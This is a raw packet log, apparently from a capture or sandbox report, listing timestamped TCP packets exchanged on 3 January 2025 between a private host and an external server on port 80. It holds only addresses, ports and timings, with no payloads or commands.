Jan 3, 2025 15:21:27.855706930 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.855719090 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.855730057 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.855745077 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.855756998 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.855757952 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.855771065 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.855798006 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.858437061 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.858449936 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.858460903 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.858496904 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.858503103 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.858510971 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.858521938 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.858534098 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.858537912 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.858546019 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.858560085 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.858568907 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.858582973 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.858582973 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.858602047 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.858613014 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.858622074 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.858624935 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.858637094 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.858643055 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.858645916 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.858649015 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.858690023 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.927925110 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.927938938 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.927973986 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928003073 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928011894 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928021908 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.928025007 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928036928 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928049088 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928052902 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.928070068 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928077936 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.928087950 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.928087950 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928101063 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928112030 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928122044 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928127050 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.928145885 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.928174019 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928185940 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928196907 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928209066 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928219080 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928225994 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.928251982 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.928396940 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928414106 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928446054 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928457975 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.928458929 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928479910 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928503990 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928517103 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928534031 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.928534985 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928545952 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928554058 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.928556919 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928567886 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928571939 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.928591013 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928607941 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.928621054 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928632021 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928642988 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928642988 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.928657055 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928667068 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928672075 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.928677082 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928688049 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928699017 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928709984 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928718090 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.928720951 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928731918 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928742886 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.928750038 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.928771973 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928782940 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928797007 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928827047 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928843021 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928872108 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928898096 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928901911 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.928915024 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928925991 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928936005 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928949118 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.928961039 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928972006 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.928972960 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928997993 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.928999901 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.929011106 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.929022074 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.929033041 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.929044008 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.929076910 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.929111004 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.929266930 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.929285049 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.929297924 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.929310083 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.929327965 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.929331064 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.929338932 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.929353952 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.929373980 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.929388046 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.929398060 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.929419041 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.929424047 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.929430008 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.929457903 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.929465055 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.929470062 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.929480076 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.929492950 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.929503918 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.929516077 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.929539919 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.929552078 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.929559946 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.929577112 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.929588079 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.929610014 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.929627895 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.929640055 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.929647923 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.929651022 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.929661989 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.929666042 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.929672003 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.929692030 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.929706097 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.946165085 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.946177959 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.946209908 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.946216106 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.946238995 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.946257114 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.946268082 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.946281910 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.946300030 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.946304083 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.946316957 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.946330070 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.946348906 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.946361065 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.946363926 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.946382046 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.946398973 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.946409941 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.946419001 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.946422100 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.946433067 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.946438074 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.946444988 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.946466923 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.946474075 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.946485043 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.946489096 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.946510077 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.946521044 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.946544886 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.946551085 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.946563005 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.946564913 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.946583033 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.946598053 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.946610928 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.946629047 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.946641922 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.946654081 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.946657896 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.946671963 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.946680069 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.946696997 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.946702957 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.946710110 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.946753025 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.949290037 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.949316978 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.949326992 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.949337959 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.949368000 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.949400902 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.949420929 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.949435949 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.949450970 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.949476004 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.949487925 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.949487925 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.949498892 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.949513912 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.949528933 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.949537992 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.949538946 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.949551105 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.949562073 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.949572086 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.949584007 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.949594975 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.949596882 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.949606895 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:27.949628115 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.949645996 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.963196039 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:27.989460945 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.019048929 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019067049 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019103050 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019126892 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.019138098 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019171000 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019198895 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019208908 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019213915 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.019222975 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019233942 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019246101 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019246101 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.019264936 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.019268036 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019290924 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.019304037 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019325018 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019335032 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019347906 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019361973 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.019366980 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019373894 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.019390106 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019407034 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019412041 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.019419909 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019447088 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019455910 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.019465923 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019496918 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019506931 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.019507885 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019517899 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019541025 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.019546986 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019556046 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.019562006 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019582987 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019593954 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019604921 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.019604921 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019623995 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.019629955 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019642115 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019651890 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019664049 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019674063 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.019675970 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019694090 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.019705057 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019716978 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019721985 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.019730091 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019741058 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019747972 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.019759893 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019779921 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.019784927 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019797087 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019833088 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.019862890 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019880056 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019892931 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019903898 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019915104 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019918919 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.019936085 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.019948006 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.019954920 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019968033 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019992113 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.019994974 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.020010948 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.020024061 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.020035028 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.020047903 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.020059109 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.020070076 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.020070076 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.020123959 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.020293951 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.020309925 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.020327091 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.020334005 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.020339012 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.020350933 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.020363092 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.020364046 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.020376921 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.020390034 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.020399094 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.020401001 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.020421028 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.020443916 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.020627975 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.020656109 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.020667076 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.020678043 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.020694971 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.020710945 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.020719051 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.020721912 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.020734072 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.020751953 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.020756960 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.020777941 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.020790100 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.020802975 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.020806074 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.020817041 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.020829916 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.020832062 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.020840883 CET	80	49829	185.215.113.16	192.168.2.6
Jan 3, 2025 15:21:28.020858049 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.020881891 CET	49829	80	192.168.2.6	185.215.113.16
Jan 3, 2025 15:21:28.034981966 CET	49829	80	192.168.2.6	185.215.113.16
